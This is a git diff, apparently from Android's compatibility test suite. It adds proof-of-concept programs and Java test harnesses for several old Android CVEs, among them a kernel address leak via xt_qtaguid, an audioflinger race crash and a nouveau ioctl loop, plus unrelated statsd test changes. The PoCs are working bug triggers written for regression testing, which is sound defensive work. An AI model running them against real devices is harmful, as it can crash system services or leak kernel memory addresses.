+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3809
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_SHARED_LIBRARIES := liblog
+
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-3809/poc.c b/hostsidetests/security/securityPatch/CVE-2016-3809/poc.c
new file mode 100644
index 0000000..4f4805f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-3809/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <cutils/log.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define BUF_SIZE 2048
+
+int main() {
+ int sfd, fd, ret;
+ char buf[BUF_SIZE];
+ char wbuf[BUF_SIZE];
+
+ ret = -1;
+ sfd = socket(AF_INET, SOCK_DGRAM, 0);
+ if (sfd == -1) {
+ perror("socket create");
+ return 0;
+ }
+ snprintf(buf, BUF_SIZE, "/proc/self/net/xt_qtaguid/ctrl");
+ fd = open(buf, O_RDWR);
+ if (fd == -1) {
+ perror("canot open xt_qtaguid ctrl");
+ close(sfd);
+ return 0;
+ }
+
+ /* clean all tags */
+ snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
+ ret = write(fd, wbuf, strlen(wbuf));
+ if (ret < 0) {
+ perror("first clean");
+ goto err;
+ }
+
+ unsigned long long tag = ((unsigned long long)0x13371) << 32;
+ /* add sock tag */
+ snprintf(wbuf, BUF_SIZE - 2, "t %d %llu %u", sfd, tag, getuid());
+ ret = write(fd, wbuf, strlen(wbuf));
+ if (ret < 0) {
+ perror("add sock tag");
+ goto err;
+ }
+
+ ret = read(fd, buf, 22);
+ if (ret < 10) {
+ perror("canot read or read error");
+ goto err;
+ }
+ buf[21] = '\0';
+ char *temp = buf + 5;
+ printf("sock addr: 0x%s length=%d \n", temp, (int)strlen(temp));
+ short address = (short)*temp;
+ printf("addres sis %d", address);
+ if (address != 48) // ascii value of 0 is 48
+ ALOGE("CVE-2016-3809 test case failed");
+ else
+ ALOGE("CVE-2016-3809 test case passed");
+
+ /* clean all tags again */
+ snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
+ ret = write(fd, wbuf, strlen(wbuf));
+ if (ret < 0) {
+ perror("cannot clean all tags at last time");
+ goto err;
+ }
+
+err:
+ close(sfd);
+ close(fd);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-3818/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-3818/Android.mk
new file mode 100755
index 0000000..0fe16b7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-3818/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3818
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-3818/poc.c b/hostsidetests/security/securityPatch/CVE-2016-3818/poc.c
new file mode 100644
index 0000000..4a204fc
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-3818/poc.c
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/resource.h>
+#include <sys/time.h>
+#include <unistd.h>
+
+int main(void) {
+ struct rlimit rlim;
+ size_t i;
+
+ int result = getrlimit(RLIMIT_AS, &rlim);
+ printf("%lu\n", rlim.rlim_cur);
+ printf("%lu\n", rlim.rlim_max);
+
+ rlim.rlim_cur = 384 * 1024 * 1024;
+ result = setrlimit(RLIMIT_AS, &rlim);
+
+ /*
+ * Issue exists only in kitkat. It passes in
+ * android M onwards. In failure scenario, device reboots.
+ */
+ size_t to_alloc = 1.6 * 1024 * 1024 * 1024;
+ char *mem = (char *)malloc(to_alloc);
+
+ printf("%p\n", mem);
+ if (mem) {
+ for (i = 0; i < to_alloc; i++) {
+ mem[i] = 0;
+ }
+ printf("filled\n");
+ }
+
+ free(mem);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk
new file mode 100644
index 0000000..aa77648
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0479/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0479
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libmedia libutils libbinder libandroid libaudioclient
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/av/include/media/ \
+ $(TOP)/frameworks/av/services/ \
+ $(TOP)/system/media/audio_utils/include/ \
+ $(TOP)/external/sonic/
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_STS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS = -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp
new file mode 100644
index 0000000..e09fe5e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <audioflinger/AudioFlinger.h>
+#include <hardware/audio_effect.h>
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+
+using namespace android;
+
+struct EffectClient : public android::BnEffectClient {
+ EffectClient() {}
+ virtual void controlStatusChanged(bool controlGranted __unused) {}
+ virtual void enableStatusChanged(bool enabled __unused) {}
+ virtual void commandExecuted(uint32_t cmdCode __unused,
+ uint32_t cmdSize __unused,
+ void *pCmdData __unused,
+ uint32_t replySize __unused,
+ void *pReplyData __unused) {}
+};
+
+sp<IEffect> gEffect;
+
+void *disconnectThread(void *) {
+ usleep(5);
+ if (gEffect != NULL && gEffect.get() != NULL) {
+ gEffect->disconnect();
+ }
+ return NULL;
+}
+
+int main() {
+ static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
+ 0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
+
+ effect_descriptor_t descriptor;
+ memset(&descriptor, 0, sizeof(descriptor));
+ descriptor.type = EFFECT_UIID_EQUALIZER;
+ descriptor.uuid = *EFFECT_UUID_NULL;
+ sp<EffectClient> effectClient(new EffectClient());
+
+ const int32_t priority = 0;
+ audio_session_t sessionId = (audio_session_t)(128);
+ const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
+ const String16 opPackageName("com.exp.poc");
+ int32_t id;
+ int i, enabled;
+ status_t err;
+
+ uint32_t cmdCode, cmdSize, pReplySize;
+ int *pCmdData, *pReplyData;
+
+ cmdCode = EFFECT_CMD_GET_CONFIG;
+ cmdSize = 0;
+ pReplySize = sizeof(effect_config_t);
+ pCmdData = (int *)malloc(cmdSize);
+ pReplyData = (int *)malloc(pReplySize);
+
+ gEffect = NULL;
+ pthread_t pt;
+ const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
+
+ for (i=0; i<100; i++) {
+ gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
+ io, sessionId, opPackageName, getpid(),
+ &err, &id, &enabled);
+ if (gEffect == NULL || err != NO_ERROR) {
+ return -1;
+ }
+ pthread_create(&pt, NULL, disconnectThread, NULL);
+ err = gEffect->command(cmdCode, cmdSize, (void *)pCmdData, &pReplySize,
+ (void *)pReplyData);
+ usleep(50);
+ }
+ sleep(2);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-13232/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-13232/Android.mk
index c8bce4c..a01873d 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-13232/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-13232/Android.mk
@@ -26,7 +26,7 @@
LOCAL_SHARED_LIBRARIES := libutils libbinder
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c
index 0042e0c..1637bd6 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c
@@ -88,39 +88,35 @@
}
}
-int looploop()
+void poc()
{
int fd;
+ const int MAX_MAPS = 10;
fd = open(DRMDEV_NAME, O_RDWR);
if (fd == -1) {
- return -1;
+ return;
}
- if (drm_version(fd) == -1)
- return -1;
+ if (drm_version(fd) == -1){
+ return;
+ }
uint32_t handle = get_gem_map_handle(fd);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
- nouveau_gem_ioctl_map(fd, handle);
-
+ for(int i = 0; i < MAX_MAPS; i++){
+ nouveau_gem_ioctl_map(fd, handle);
+ }
close(fd);
- return 0;
+ return;
}
int main()
{
- while (1) {
- looploop();
+ const int MAX_RUNS = 30000;
+
+ for(int i = 0; i < MAX_RUNS; i++) {
+ poc();
}
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_04.java b/hostsidetests/security/src/android/security/cts/Poc16_04.java
index 5d03375..d3da935 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_04.java
@@ -30,4 +30,12 @@
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
assertNotMatches("[\\s\\n\\S]*IOMX_InfoLeak b26323455[\\s\\n\\S]*", logcat);
}
+
+ /**
+ * b/26324307
+ */
+ @SecurityTest
+ public void testPocCVE_2016_0844() throws Exception {
+ AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_07.java b/hostsidetests/security/src/android/security/cts/Poc16_07.java
new file mode 100644
index 0000000..4fcab24
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_07.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_07 extends SecurityTestCase {
+ /**
+ * b/28740702
+ */
+ @SecurityTest
+ public void testPocCVE_2016_3818() throws Exception {
+ AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
+ }
+
+ /**
+ * b/27532522
+ */
+ @SecurityTest
+ public void testPocCVE_2016_3809() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_03.java b/hostsidetests/security/src/android/security/cts/Poc17_03.java
index 576ea5c..80c959c 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_03.java
@@ -71,4 +71,15 @@
}
}
+ /**
+ * b/32707507
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0479() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
+ "audioserver <<<.*", logcatOut);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
index d547a8f..71e3975 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -40,4 +40,13 @@
assertFalse("VULNERABLE DEVICE DETECTED",
AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
}
+
+ /**
+ * b/32813456
+ */
+ @SecurityTest
+ public void testPocCVE_2016_10229() throws Exception {
+ String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
+ assertNotMatchesMultiLine(".*OVERWRITE.*", out);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_05.java b/hostsidetests/security/src/android/security/cts/Poc17_05.java
new file mode 100644
index 0000000..2d6b44a
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_05.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_05 extends SecurityTestCase {
+
+ /**
+ * b/34277115
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0630() throws Exception {
+ if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
+ String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
+ "/printk_formats", getDevice());
+ assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
+ }
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
index 6a62eea..987233d 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -52,4 +52,15 @@
, getDevice()
)==139);
}
- }
+
+ /**
+ * b/38195738
+ * b/36590192
+ */
+ @SecurityTest
+ public void testPocBug_38195738() throws Exception {
+ if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+ AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+ }
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_12.java b/hostsidetests/security/src/android/security/cts/Poc17_12.java
index 890ff27..799e0b6 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
@SecurityTest
public void testPocCVE_2017_6262() throws Exception {
if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
- AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 600);
+ AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
}
}
}
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index 78c2966..cacceaa 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -23,10 +23,15 @@
import com.android.tradefed.log.LogUtil.CLog;
import java.util.regex.Pattern;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
public class SecurityTestCase extends DeviceTestCase {
+ private static final String LOG_TAG = "SecurityTestCase";
+
private long kernelStartTime;
+ private static Thread checkOom = null;
/**
* Waits for device to be online, marks the most recent boottime of the device
@@ -40,6 +45,12 @@
Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
//TODO:(badash@): Watch for other things to track.
// Specifically time when app framework starts
+
+ // Start Out of Memory detection in separate thread
+ //if (checkOom == null || !checkOom.isAlive()) {
+ // checkOom = new Thread(new OomChecker());
+ // checkOom.start();
+ //}
}
/**
@@ -106,4 +117,42 @@
Pattern.compile(pattern,
Pattern.DOTALL).matcher(input).matches());
}
+
+ class OomChecker implements Runnable {
+
+ @Override
+ public void run() {
+ MultiLineReceiver rcvr = new MultiLineReceiver() {
+ private boolean isCancelled = false;
+
+ public void processNewLines(String[] lines) {
+ for (String line : lines) {
+ if (Pattern.matches(".*lowmemorykiller.*", line)) {
+ // low memory detected, reboot device to clear memory and pass test
+ isCancelled = true;
+ Log.i(LOG_TAG, "lowmemorykiller detected; rebooting device and passing test");
+ try {
+ getDevice().rebootUntilOnline();
+ updateKernelStartTime();
+ } catch (Exception e) {
+ Log.e(LOG_TAG, e.toString());
+ }
+ return; // we don't need to process remaining lines in the array
+ }
+ }
+ }
+
+ public boolean isCancelled() {
+ return isCancelled;
+ }
+ };
+
+ try {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ getDevice().executeShellCommand("logcat", rcvr);
+ } catch (Exception e) {
+ Log.e(LOG_TAG, e.toString());
+ }
+ }
+ }
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 83641af..2fa1ac4 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -315,21 +315,20 @@
@Nullable FieldMatcher.Builder dimension) throws Exception {
final String atomName = "Atom" + System.nanoTime();
final String gaugeName = "Gauge" + System.nanoTime();
- final String predicateName = "SCREEN_IS_ON";
+ final String predicateName = "APP_BREADCRUMB";
SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
conf.addAtomMatcher(AtomMatcher.newBuilder()
.setId(atomName.hashCode())
.setSimpleAtomMatcher(sam));
- // TODO: change this predicate to something simpler and easier
- final String predicateTrueName = "SCREEN_TURNED_ON";
- final String predicateFalseName = "SCREEN_TURNED_OFF";
+ final String predicateTrueName = "APP_BREADCRUMB_1";
+ final String predicateFalseName = "APP_BREADCRUMB_2";
conf.addAtomMatcher(AtomMatcher.newBuilder()
.setId(predicateTrueName.hashCode())
.setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
.addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_VALUE)
+ .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
+ .setEqInt(1)
)
)
)
@@ -337,10 +336,10 @@
.addAtomMatcher(AtomMatcher.newBuilder()
.setId(predicateFalseName.hashCode())
.setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
.addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE)
+ .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
+ .setEqInt(2)
)
)
);
@@ -507,6 +506,14 @@
getDevice().executeShellCommand("cmd battery set wireless 1");
}
+ public void setAppBreadcrumbPredicate() throws Exception {
+ doAppBreadcrumbReportedStart(1);
+ }
+
+ public void clearAppBreadcrumbPredicate() throws Exception {
+ doAppBreadcrumbReportedStart(2);
+ }
+
public void doAppBreadcrumbReportedStart(int label) throws Exception {
doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
}
@@ -537,6 +544,16 @@
getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
}
+ // Gets whether "Always on Display" setting is enabled.
+ // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
+ protected String getAodState() throws Exception {
+ return getDevice().executeShellCommand("settings get secure doze_always_on");
+ }
+
+ protected void setAodState(String state) throws Exception {
+ getDevice().executeShellCommand("settings put secure doze_always_on " + state);
+ }
+
protected boolean isScreenBrightnessModeManual() throws Exception {
String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
return Integer.parseInt(mode.trim()) == 0;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index 13335aa..fc4a561 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -143,8 +143,9 @@
}
protected boolean statsdDisabled() throws DeviceNotAvailableException {
- if (getDevice().getProperty("ro.statsd.enable").equals("false")
- && getDevice().getProperty("ro.config.low_ram").equals("true")) {
+ // if ro.statsd.enable doesn't exist, statsd is running by default.
+ if ("false".equals(getDevice().getProperty("ro.statsd.enable"))
+ && "true".equals(getDevice().getProperty("ro.config.low_ram"))) {
CLog.d("Statsd is not enabled on the device");
return true;
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index c4e47bb..eb96b83 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -75,9 +75,15 @@
if (statsdDisabled()) {
return;
}
- // Setup, make sure the screen is off.
+ // Setup, make sure the screen is off and turn off AoD if it is on.
+ // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
+ // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
+ String aodState = getAodState();
+ setAodState("0");
+ turnScreenOn();
+ Thread.sleep(WAIT_TIME_SHORT);
turnScreenOff();
- Thread.sleep(WAIT_TIME_LONG);
+ Thread.sleep(WAIT_TIME_SHORT);
final int atomTag = Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER;
@@ -107,7 +113,8 @@
List<EventMetricData> data = getEventMetricDataList();
// reset screen to on
turnScreenOn();
-
+ // Restores AoD to initial state.
+ setAodState(aodState);
// Assert that the events happened in the expected order.
assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
atom -> atom.getScreenStateChanged().getState().getNumber());
@@ -351,12 +358,10 @@
.setField(RemainingBatteryCapacity.CHARGE_UAH_FIELD_NUMBER));
addGaugeAtom(config, Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER, dimension);
- turnScreenOff();
-
uploadConfig(config);
Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
+ setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
List<Atom> data = getGaugeMetricDataList();
@@ -380,12 +385,10 @@
.setField(FullBatteryCapacity.CAPACITY_UAH_FIELD_NUMBER));
addGaugeAtom(config, Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER, dimension);
- turnScreenOff();
-
uploadConfig(config);
Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
+ setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
List<Atom> data = getGaugeMetricDataList();
@@ -411,12 +414,10 @@
.setField(Temperature.SENSOR_NAME_FIELD_NUMBER));
addGaugeAtom(config, Atom.TEMPERATURE_FIELD_NUMBER, dimension);
- turnScreenOff();
-
uploadConfig(config);
Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
+ setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
List<Atom> data = getGaugeMetricDataList();
@@ -447,12 +448,10 @@
.setField(KernelWakelock.NAME_FIELD_NUMBER));
addGaugeAtom(config, Atom.KERNEL_WAKELOCK_FIELD_NUMBER, dimension);
- turnScreenOff();
-
uploadConfig(config);
Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
+ setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
List<Atom> data = getGaugeMetricDataList();
@@ -477,13 +476,11 @@
.setField(CpuTimePerFreq.CLUSTER_FIELD_NUMBER));
addGaugeAtom(config, Atom.CPU_TIME_PER_FREQ_FIELD_NUMBER, dimension);
- turnScreenOff();
-
uploadConfig(config);
- Thread.sleep(2000);
- turnScreenOn();
- Thread.sleep(2000);
+ Thread.sleep(WAIT_TIME_LONG);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_LONG);
List<Atom> data = getGaugeMetricDataList();
@@ -504,12 +501,10 @@
.setField(SubsystemSleepState.SUBSYSTEM_NAME_FIELD_NUMBER));
